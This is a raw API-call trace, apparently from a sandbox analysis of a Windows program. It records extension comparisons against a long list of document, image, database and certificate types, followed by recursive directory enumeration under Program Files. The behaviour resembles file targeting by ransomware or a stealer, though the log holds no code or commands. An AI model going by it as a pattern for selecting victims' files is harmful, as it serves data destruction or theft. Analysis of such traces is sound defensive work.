	[0181.332] lstrlenW (lpString=".jpc") returned 4
	[0181.332] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0181.332] lstrlenW (lpString=".jpe") returned 4
	[0181.332] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0181.332] lstrlenW (lpString=".jpeg") returned 5
	[0181.332] lstrcmpiW (lpString1=".jpeg", lpString2="t.exe") returned -1
	[0181.333] lstrlenW (lpString=".jpf") returned 4
	[0181.333] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".jpg") returned 4
	[0181.333] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".jpx") returned 4
	[0181.333] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".js") returned 3
	[0181.333] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0181.333] lstrlenW (lpString=".jsf") returned 4
	[0181.333] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".json") returned 5
	[0181.333] lstrcmpiW (lpString1=".json", lpString2="t.exe") returned -1
	[0181.333] lstrlenW (lpString=".jsp") returned 4
	[0181.333] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".kdc") returned 4
	[0181.333] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".kmz") returned 4
	[0181.333] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".kwm") returned 4
	[0181.333] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".lasso") returned 6
	[0181.333] lstrcmpiW (lpString1=".lasso", lpString2="et.exe") returned -1
	[0181.333] lstrlenW (lpString=".lbi") returned 4
	[0181.333] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".lgf") returned 4
	[0181.333] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".lgp") returned 4
	[0181.333] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".log") returned 4
	[0181.333] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0181.333] lstrlenW (lpString=".m1v") returned 4
	[0181.333] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".m4a") returned 4
	[0181.334] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".m4v") returned 4
	[0181.334] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".max") returned 4
	[0181.334] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".md") returned 3
	[0181.334] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0181.334] lstrlenW (lpString=".mda") returned 4
	[0181.334] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mdb") returned 4
	[0181.334] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mde") returned 4
	[0181.334] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mdf") returned 4
	[0181.334] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mdw") returned 4
	[0181.334] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mef") returned 4
	[0181.334] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mft") returned 4
	[0181.334] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mfw") returned 4
	[0181.334] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mht") returned 4
	[0181.334] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mhtml") returned 6
	[0181.334] lstrcmpiW (lpString1=".mhtml", lpString2="et.exe") returned -1
	[0181.334] lstrlenW (lpString=".mka") returned 4
	[0181.334] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0181.334] lstrlenW (lpString=".mkidx") returned 6
	[0181.334] lstrcmpiW (lpString1=".mkidx", lpString2="et.exe") returned -1
	[0181.334] lstrlenW (lpString=".mkv") returned 4
	[0181.334] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".mos") returned 4
	[0181.335] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".mov") returned 4
	[0181.335] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".mp3") returned 4
	[0181.335] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".mp4") returned 4
	[0181.335] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".mpeg") returned 5
	[0181.335] lstrcmpiW (lpString1=".mpeg", lpString2="t.exe") returned -1
	[0181.335] lstrlenW (lpString=".mpg") returned 4
	[0181.335] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".mpv") returned 4
	[0181.335] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".mrw") returned 4
	[0181.335] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".msg") returned 4
	[0181.335] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".mxl") returned 4
	[0181.335] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".myd") returned 4
	[0181.335] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".myi") returned 4
	[0181.335] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".nef") returned 4
	[0181.335] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".nrw") returned 4
	[0181.335] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".obj") returned 4
	[0181.335] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".odb") returned 4
	[0181.335] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0181.335] lstrlenW (lpString=".odc") returned 4
	[0181.335] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".odm") returned 4
	[0181.342] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".odp") returned 4
	[0181.342] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".ods") returned 4
	[0181.342] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".oft") returned 4
	[0181.342] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".one") returned 4
	[0181.342] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".onepkg") returned 7
	[0181.342] lstrcmpiW (lpString1=".onepkg", lpString2="net.exe") returned -1
	[0181.342] lstrlenW (lpString=".onetoc2") returned 8
	[0181.342] lstrcmpiW (lpString1=".onetoc2", lpString2="lnet.exe") returned -1
	[0181.342] lstrlenW (lpString=".opt") returned 4
	[0181.342] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".oqy") returned 4
	[0181.342] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".orf") returned 4
	[0181.342] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".p12") returned 4
	[0181.342] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".p7b") returned 4
	[0181.342] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".p7c") returned 4
	[0181.342] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".pam") returned 4
	[0181.342] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0181.342] lstrlenW (lpString=".pbm") returned 4
	[0181.342] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pct") returned 4
	[0181.343] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pcx") returned 4
	[0181.343] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pdd") returned 4
	[0181.343] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pdf") returned 4
	[0181.343] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pdp") returned 4
	[0181.343] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pef") returned 4
	[0181.343] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pem") returned 4
	[0181.343] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pff") returned 4
	[0181.343] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pfm") returned 4
	[0181.343] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pfx") returned 4
	[0181.343] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".pgm") returned 4
	[0181.343] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".php") returned 4
	[0181.343] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0181.343] lstrlenW (lpString=".php3") returned 5
	[0181.343] lstrcmpiW (lpString1=".php3", lpString2="t.exe") returned -1
	[0181.343] lstrlenW (lpString=".php4") returned 5
	[0181.343] lstrcmpiW (lpString1=".php4", lpString2="t.exe") returned -1
	[0181.343] lstrlenW (lpString=".php5") returned 5
	[0181.343] lstrcmpiW (lpString1=".php5", lpString2="t.exe") returned -1
	[0181.343] lstrlenW (lpString=".phtml") returned 6
	[0181.343] lstrcmpiW (lpString1=".phtml", lpString2="et.exe") returned -1
	[0181.343] lstrlenW (lpString=".pict") returned 5
	[0181.343] lstrcmpiW (lpString1=".pict", lpString2="t.exe") returned -1
	[0181.344] lstrlenW (lpString=".pl") returned 3
	[0181.344] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0181.344] lstrlenW (lpString=".pls") returned 4
	[0181.344] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0181.344] lstrlenW (lpString=".pm") returned 3
	[0181.344] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0181.344] lstrlenW (lpString=".png") returned 4
	[0181.344] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0181.344] lstrlenW (lpString=".pnm") returned 4
	[0181.344] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0181.344] lstrlenW (lpString=".pot") returned 4
	[0181.344] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0181.344] lstrlenW (lpString=".potm") returned 5
	[0181.344] lstrcmpiW (lpString1=".potm", lpString2="t.exe") returned -1
	[0181.344] lstrlenW (lpString=".potx") returned 5
	[0181.344] lstrcmpiW (lpString1=".potx", lpString2="t.exe") returned -1
	[0181.344] lstrlenW (lpString=".ppa") returned 4
	[0181.344] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0181.344] lstrlenW (lpString=".ppam") returned 5
	[0181.344] lstrcmpiW (lpString1=".ppam", lpString2="t.exe") returned -1
	[0181.344] lstrlenW (lpString=".ppm") returned 4
	[0181.344] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0181.344] lstrlenW (lpString=".pps") returned 4
	[0181.344] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0181.344] lstrlenW (lpString=".ppsm") returned 5
	[0181.344] lstrcmpiW (lpString1=".ppsm", lpString2="t.exe") returned -1
	[0181.345] lstrlenW (lpString=".ppt") returned 4
	[0181.345] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".pptm") returned 5
	[0181.345] lstrcmpiW (lpString1=".pptm", lpString2="t.exe") returned -1
	[0181.345] lstrlenW (lpString=".pptx") returned 5
	[0181.345] lstrcmpiW (lpString1=".pptx", lpString2="t.exe") returned -1
	[0181.345] lstrlenW (lpString=".prn") returned 4
	[0181.345] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".ps") returned 3
	[0181.345] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0181.345] lstrlenW (lpString=".psb") returned 4
	[0181.345] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".psd") returned 4
	[0181.345] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".pst") returned 4
	[0181.345] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".ptx") returned 4
	[0181.345] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".pub") returned 4
	[0181.345] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".pwm") returned 4
	[0181.345] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".pxr") returned 4
	[0181.345] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".py") returned 3
	[0181.345] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0181.345] lstrlenW (lpString=".qt") returned 3
	[0181.345] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0181.345] lstrlenW (lpString=".r3d") returned 4
	[0181.345] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0181.345] lstrlenW (lpString=".raf") returned 4
	[0181.346] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0181.346] lstrlenW (lpString=".rar") returned 4
	[0181.346] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0181.346] lstrlenW (lpString=".raw") returned 4
	[0181.346] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1
	[0181.346] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf97d5270, ftCreationTime.dwHighDateTime=0x1d583ca, ftLastAccessTime.dwLowDateTime=0xb551bc00, ftLastAccessTime.dwHighDateTime=0x1d5a3ad, ftLastWriteTime.dwLowDateTime=0xb551bc00, ftLastWriteTime.dwHighDateTime=0x1d5a3ad, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1
	[0181.346] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb799f0, ftCreationTime.dwHighDateTime=0x1d5b515, ftLastAccessTime.dwLowDateTime=0x1e398740, ftLastAccessTime.dwHighDateTime=0x1d5a942, ftLastWriteTime.dwLowDateTime=0x1e398740, ftLastWriteTime.dwHighDateTime=0x1d5a942, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1
	[0181.346] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0181.346] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0181.346] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0181.347] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0181.347] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0181.347] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0181.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0181.348] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.348] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 1
	[0181.348] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4004f78
	[0181.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0181.348] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.348] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BrowserCore.exe", cAlternateFileName="")) returned 1
	[0181.348] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0181.348] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4014f80
	[0181.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0181.348] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.348] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 1
	[0181.349] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 0
	[0181.349] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0181.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0181.349] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1
	[0181.349] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 0
	[0181.349] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0181.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0181.349] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31ce9140, ftCreationTime.dwHighDateTime=0x1d5baf6, ftLastAccessTime.dwLowDateTime=0xd63d5d70, ftLastAccessTime.dwHighDateTime=0x1d5cb6c, ftLastWriteTime.dwLowDateTime=0xd63d5d70, ftLastWriteTime.dwHighDateTime=0x1d5cb6c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1
	[0181.349] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302a1eb0, ftCreationTime.dwHighDateTime=0x1d585b1, ftLastAccessTime.dwLowDateTime=0x643c2c70, ftLastAccessTime.dwHighDateTime=0x1d5c12a, ftLastWriteTime.dwLowDateTime=0x643c2c70, ftLastWriteTime.dwHighDateTime=0x1d5c12a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="icq.exe", cAlternateFileName="")) returned 1
